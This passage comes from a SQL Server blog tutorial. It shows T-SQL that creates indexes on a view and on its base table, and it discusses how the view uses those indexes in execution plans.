dbo.mySampleTable GO -- Create Index on View CREATE UNIQUE CLUSTERED INDEX [IX_ViewSample] ON [dbo].[SampleView] ( ID2 ASC ) GO -- Select from view SELECT ID1,ID2,SomeData FROM SampleView ORDER BY ID2 GO -- Create Index on Original Table -- On Column ID1 CREATE UNIQUE CLUSTERED INDEX [IX_OriginalTable] ON mySampleTable ( ID1 ASC ) GO -- On Column ID2 CREATE UNIQUE NONCLUSTERED INDEX [IX_OriginalTable_ID2] ON mySampleTable ( ID2 ) GO -- Select from view SELECT ID1,ID2,SomeData FROM SampleView ORDER BY ID2 GO Now let us see the execution plans for both of the SELECT statement. Before Index on Base Table (with Index on View): After Index on Base Table (with Index on View): Looking at both executions, it is very clear that with or without, the View is using Indexes. Alright, I have written 11 disadvantages of the Views. Now I have written one case where the View is using Indexes. Anybody who says that I am being harsh on Views can say now that I found one place where Index on View can be helpful. Reference: Pinal Dave (http://blog.SQLAuthority.com) Filed under: Pinal Dave, SQL, SQL Authority, SQL Optimization, SQL Performance, SQL Query, SQL Scripts, SQL Server, SQL Tips and Tricks, SQL View, SQLServer, T SQL, Technology

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